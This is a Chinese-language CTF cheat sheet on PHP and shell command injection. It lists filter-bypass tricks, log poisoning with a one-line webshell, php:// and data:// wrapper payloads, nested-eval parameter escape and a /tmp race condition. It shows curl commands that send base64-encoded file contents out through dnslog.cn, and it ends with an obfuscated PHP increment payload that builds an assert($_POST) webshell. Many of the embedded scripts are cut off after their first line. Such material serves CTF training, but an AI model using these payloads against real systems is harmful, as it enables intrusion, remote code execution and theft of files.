CTF知识集-命令执行
CTF知识集-命令执行
写在开头可能会用到的提醒
;可以用%0a来替换
``是shell_exec的缩写
ls | tee 1 把ls的输出内容存入1这个文件
shell查看文件的几种方式,tac | more | less | tail | sort | tac | cat | head | od | expand
针对flag 可以用grep { flag.php来进行查看
遇到文件包含可以用伪协议来读取
遇到输出到黑洞,可以用双写绕过,ls;ls或者ls||ls或者ls%26%26ls,%26是&的url编码
<?= 就相当于<?php echo,<?=
ls
;日志注入,条件:post的eval,先用ua构造一个一句话访问,日志里存在一句话了;然后用include把日志给包含住
存在eval(post),可以用post去include($_GET[a]) | include “$_POST[a],a=php伪协议
如果是eval(变量),可以尝试参数逃逸,例:a=?>=eval($_POST[a])?>
输出可以用print_r var_dump
获取文件包含的所有变量,include包含住文件,var_dump(get_defined_vars()),或者echo $变量
获取页面源代码,搭配eval可以用,echo file_get_contents() | show_source() | highlight_file
文件重命名函数rename('文件名','新文件名'),查看当前目录print_r(scandir('.'))
利用环境变量来凑出shell命令,例如${PATH:
A}${PWD:A}linux的shell中两个单引号忽略,例如l''s或者l\s或者'l''s',单引号会被忽略
linux的shell中,查看文件可以用<代替空格,例如:cat<flag或者cat<>flag
linux的/bin目录下都是可以执行二进制文件,例如cat是/bin/cat,在一些题目可能需要用到/bin/cat这种
linux的shell的通配符,cat = /bin/ca[a-z]
环境变量截取,在Linux下a=ca;${a}t flag.php 等同于 cat flag.php
linux命令另类执行方法,$(printf “ls”) 等同于 $(printf \154\163) 都是执行ls,\154\163为八进制
linux的shell如果过滤空格,可以用$IFS | ${IFS} | %09| < | <> | %0b | %0c绕过,%09是tab
linux的shell如果过滤空格,可以截取环境,例如执行命令env,会出现一堆命令。Linux命令:name=si bei;${name:2:1} 那么这样子就会出现空格,看图示例
命令执行的另类方式,在linux的shell中
通过DNS通道关键信息传出来,dnslog.cn,例如curl
whoami` `.dnslog.cn,那么就会解析为root.dnslog.cn,可以加密payload,例如/?cmd=a=`cat flag.php|base64`;curl
${a:0:10}通过http通道把消息带出来,例如/?cmd=a=
${a:0:10}
,然后查看网站日志,把消息带出来
一些栗子
条件竞争
1 | <?php |
payload
上py脚本
1 | import requests |
思路
对环境进行强制POST上传,会将上传的东西变为文件,强制临时保存在/tmp/php??????目录,??????代表随机大小写字母,php代码结束后会自动删除。如果我们在强制上传文件后,执行了系统命令,去执行我们上传的文件,就可以做到命令执行,形成了条件竞争。. 在linux中代表执行,. /???/????????[@-[],代表去/tmp下匹配临时文件了,最后面的[@-[]是linux的通配符,匹配a-z,可以在linux下自己试试/bin/ca[a-z] test.txt
简单过滤
1 | if(isset($_GET['c'])){ |
payload
1 | /?c=system("cp fla?.php 1.txt"); |
思路
利用system函数,把flag文件复制为1.txt
简单过滤
1 | if(isset($_GET['c'])){ |
payload
1 | ?c=`cp fla?.??? 1.txt`; |
思路
利用``,把flag文件复制为1.txt
参数逃逸
1 | if(isset($_GET['c'])){ |
payload
1 | /?c=eval($_GET[a]);&a=system("cp fla* 1.txt"); |
思路
参数逃逸,eval嵌套eval,GET一个参数,在新参数里面赋值
复杂过滤
1 | if(isset($_GET['c'])){ |
payload
1 | /?c=include%0a$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php |
思路解析
使用include或者require包含文件,空格被过滤使用%0a来换行,分号被过滤无法闭合就使用?> ,后面接前面设置的参数,使用Php伪协议,
php://filter/convert.base64-encode/resource=文件名
文件包含
1 | if(isset($_GET['c'])){ |
payload
1 | ?c=data://text/plain,<?php system("cp fla?.php 1.txt"); ?> |
思路
伪协议filter用不了,用data,执行函数
文件包含(短连接)
1 | if(isset($_GET['c'])){ |
payload
1 | /?c=data://text/plain,<?=system("cp fla*.* 1.txt"); ?> |
思路
把<?php 换成<?=
命令执行,复杂
if(isset($_GET['c'])){
1 | $c = $_GET['c']; |
payload
get ?c=eval(array_pop(next(get_defined_vars())));
post a=system(tac flag.php);
思路
- 先print_r(get_defined_vars()); post传入a=要执行的函数
- next(print_r(get_defined_vars())); next () 函数将内部指针指向数组中的下一个元素,并输出
- arrar_pop(next(print_r(get_defined_vars()))); 把数组中的值打印出来
- 然后eval(arrar_pop(next(print_r(get_defined_vars())))) post传入要执行的函数
eval扫目录脚本
1 | c=?><?php |
命令执行,或 异或 取反 自增脚本
例题
1 | <?php |
或运算生成脚本
如何使用
将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]
脚本
1 | <?php |
1 | # -*py脚本*- |
异或运算生成脚本
如何使用
将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]
脚本
1 | <?php |
1 | # -*-这是Py脚本*- |
取反运算生成脚本
如何使用
将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件]
脚本
1 | <?php |
自增运算脚本
如何使用
该方法在.0.12以上版本不可使用
构造出的语句为: assert($*POST[*]); 使用: *=php函数 ; 例如* =phpinfo();
脚本
1 | $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); |